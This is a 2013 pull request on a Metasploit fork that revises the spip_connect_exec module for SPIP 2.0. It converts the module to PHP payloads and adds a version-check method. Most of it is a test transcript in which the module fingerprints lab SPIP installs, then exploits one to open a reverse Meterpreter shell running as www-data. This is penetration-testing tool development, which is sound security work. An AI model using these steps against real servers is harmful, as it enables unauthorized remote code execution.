ddouhine/metasploit-framework — pull request #1 by jvazquez-r7 (2013-07-15 14:49:56+00:00)
Title: Review for spip_connect_exec

Hi @ddouhine,

This pull request tries to apply the feedback included into https://github.com/rapid7/metasploit-framework/pull/2100, basically:

* Convert to 'php' platform exploit, using ARCH_PHP payloads.
* Update description to explain it only exploits 2.0 branch
* Add a "check" method to fingerprint SPIP version when possible.
* Move to unix/webapps tree

Feel free to review, test, ask, discuss, etc anything about the changes. And once you feel comfortable land this pull request and the original one https://github.com/rapid7/metasploit-framework/pull/2100 will be ready to go I guess :)

On the other hand, you were looking for an exploit path for 2.1 and 3.0 branches. Feel free to reject this pull request and update by yourself if you find exploit vectors for these versions :) This pull request just tries to help with cleaning the current module.

Test after cleanup:

```
msf > use exploit/unix/webapp/spip_connect_exec
msf exploit(spip_connect_exec) > set rhost 192.168.172.158
rhost => 192.168.172.158
msf exploit(spip_connect_exec) > set VERBOSE true
VERBOSE => true
msf exploit(spip_connect_exec) > set TARGETURI /spip302
TARGETURI => /spip302
msf exploit(spip_connect_exec) > check

[*] SPIP Version detected: 3.0.2
[*] The target appears to be vulnerable.
msf exploit(spip_connect_exec) > set TARGETURI /spip21
TARGETURI => /spip21
msf exploit(spip_connect_exec) > check

[*] SPIP Version detected: 2.0.21
[*] The target is not exploitable.
msf exploit(spip_connect_exec) > set TARGETURI /spip
TARGETURI => /spip
msf exploit(spip_connect_exec) > check

[*] SPIP Version detected: 2.0.20
[+] The target is vulnerable.
msf exploit(spip_connect_exec) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.158:80 - Attempting to exploit...
[*] Sending stage (39195 bytes) to 192.168.172.158
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.158:46786) at 2013-07-15 09:40:12 -0500

^C[-] Exploit failed: Interrupt

meterpreter > getuid
Server username: www-data (33)
meterpreter > exit -y
[*] Shutting down Meterpreter...

[*] 192.168.172.158 - Meterpreter session 1 closed. Reason: User exit

```